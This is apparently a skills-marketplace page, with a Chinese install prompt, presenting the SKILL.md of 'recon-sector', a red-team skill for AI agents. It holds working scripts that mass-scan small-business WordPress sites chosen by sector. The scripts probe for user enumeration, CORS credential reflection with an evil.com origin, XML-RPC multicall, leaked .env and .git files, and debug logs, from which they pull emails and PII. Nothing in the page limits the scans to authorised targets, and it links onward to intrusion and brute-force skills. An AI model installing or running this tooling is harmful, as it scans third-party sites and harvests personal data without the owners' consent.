用 Codex 或 Claude 帮你安装 复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt；运行前请先检查来源。
npx skills add https://github.com/uphiago/recon-skills --skill recon-sector命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地？可下载 SkillsMP 当前能够提供的文件。
基于 SOC 职业分类
正在显示 SKILL.md
| name | recon-sector |
| description | Parameterized sector recon using sector database. |
| version | 2.0.0 |
| revision_date | "2026-07-25T00:00:00.000Z" |
| license | MIT |
| platforms | ["linux"] |
| compatibility | Requires curl, python3 |
| tags | ["recon","sector","wordpress","cors","xmlrpc","mass-recon"] |
| category | redteam |
| related_skills | ["wp-mass-recon","cors-credential-wordpress","xmlrpc-exploitation","source-leak-hunt","error-log-mining","deep-invade","recon-playbook"] |
Unified sector-specific reconnaissance. Takes a sector name (e.g., plumbing, dentists, hvac), loads sector-specific platform and path data from references/sectors.yaml, and runs the standard recon probe suite: WordPress detection, CORS credential reflection, XMLRPC exposure, debug log mining, source leak checks, and directory listing detection.
Replaces 25 individual recon-* skills that were identical template copies with only sector name and platform names changed.
sector-recon-methodology produces a target list and you need to probe.references/sectors.yaml in the same directory as this SKILL.md.SECTOR="plumbing"
TARGETS_FILE="targets.txt"
python3 references/probe_sector.py "$SECTOR" "$TARGETS_FILE" output/
| Check | Paths | Severity if exposed |
|---|---|---|
| WP detection | /wp-login.php, /wp-content/ | Info |
| REST API users | /wp-json/wp/v2/users | Medium (user enum) |
| CORS + REST API | /wp-json/wp/v2/users with Origin: https://evil.com | High (if ACAC: true) |
| XMLRPC | /xmlrpc.php | Medium (open), High (multicall) |
| Debug log | /wp-content/debug.log | High (PII/SQL leakage) |
| Directory listing | /wp-content/uploads/ | Medium-High (file exposure) |
| Source leaks |
/.env, /.git/config, /info.php |
| Critical (creds in env) |
| Sector-specific paths | From sectors.yaml per sector | Varies |
SECTOR="$1"
TARGETS_FILE="$2"
OUTDIR="${3:-output}"
python3 -c "
import yaml, sys
with open('references/sectors.yaml') as f:
data = yaml.safe_load(f)
sector = data['sectors'].get(sys.argv[1], {})
print('\n'.join(sector.get('high_value_paths', [])))
" "$SECTOR"
while IFS= read -r target; do
[ -z "$target" ] && continue
code=$(curl -sk --max-time 10 --connect-timeout 10 -o /dev/null -w '%{http_code}' "https://$target/wp-login.php")
[ "$code" != "404" ] && echo "[WP] $target (HTTP $code)"
sleep 1
done < "$TARGETS_FILE"
while IFS= read -r target; do
[ -z "$target" ] && continue
headers=$(curl -sk --max-time 10 --connect-timeout 10 -I "https://$target/wp-json/wp/v2/users" \
-H "Origin: https://evil.com" 2>/dev/null)
if echo "$headers" | grep -qi "access-control-allow-origin: https://evil.com" && \
echo "$headers" | grep -qi "access-control-allow-credentials: true"; then
echo "[CORS] $target — credential reflection confirmed"
fi
sleep 2
done < "$TARGETS_FILE"
while IFS= read -r target; do
[ -z "$target" ] && continue
body=$(curl -sk --max-time 10 --connect-timeout 10 -X POST "https://$target/xmlrpc.php" \
-d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>' 2>/dev/null)
if echo "$body" | grep -q "methodResponse"; then
has_multicall=$(echo "$body" | grep -c "system.multicall" || true)
echo "[XMLRPC] $target — active (multicall: $([ "$has_multicall" -gt 0 ] && echo YES || echo no))"
fi
sleep 1
done < "$TARGETS_FILE"
while IFS= read -r target; do
[ -z "$target" ] && continue
body=$(curl -sk --max-time 15 --connect-timeout 10 "https://$target/wp-content/debug.log" 2>/dev/null)
if [ -n "$body" ] && [ ${#body} -gt 200 ]; then
emails=$(echo "$body" | grep -Eo '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}' | sort -u | head -10)
pii=$(echo "$body" | grep -Eo '(address|phone|street|zip|SSN|card|CC|credit).{0,80}' | head -10)
echo "[DEBUGLOG] $target — $(echo "$body" | wc -c) bytes"
[ -n "$emails" ] && echo " Emails: $emails"
[ -n "$pii" ] && echo " PII hints: $(echo "$pii" | wc -l) lines"
fi
sleep 2
done < "$TARGETS_FILE"
while IFS= read -r target; do
[ -z "$target" ] && continue
for path in $(python3 -c "
import yaml, sys
with open('references/sectors.yaml') as f:
data = yaml.safe_load(f)
sector = data['sectors'].get('$SECTOR', {})
print(' '.join(sector.get('high_value_paths', [])))
"); do
code=$(curl -sk --max-time 10 --connect-timeout 10 -o /dev/null -w '%{http_code}' "https://$target$path")
[ "$code" != "404" ] && echo "[SECTOR:$SECTOR] $target$path (HTTP $code)"
sleep 1
done
done < "$TARGETS_FILE"
/robots.txt and /.env both return 200 with near-identical HTML body, mark domain as parked and skip.dig RANDOMSTRING.target.com +short. If it resolves to the same IP as the domain, all subdomains appear live.--max-time and expect occasional empty JSON. Retry with delay./wp-content/debug.log without sensitive content is NOT a finding. Check for actual PII patterns (emails, phone numbers, SQL queries).ACAO: * without ACAC: true is NOT exploitable. Only ACAO: <reflected origin> + ACAC: true qualifies.Access-Control-Allow-Origin: <reflected> AND Access-Control-Allow-Credentials: true confirmed.methodResponse in body — not just a 200 status.Index of header — not assume from 200 status alone.$OUTDIR/.wp-mass-recon — batch scanner for high-volume WordPress probing.sector-recon-methodology — sector selection and target generation.deep-invade — deep pentest for high-value targets (score >= 6).cors-credential-wordpress — detailed CORS exploitation methodology.xmlrpc-exploitation — XMLRPC attack vectors (multicall, pingback SSRF, brute force).source-leak-hunt — sensitive file detection (.env, .git, backups).error-log-mining — error log credential and PII mining.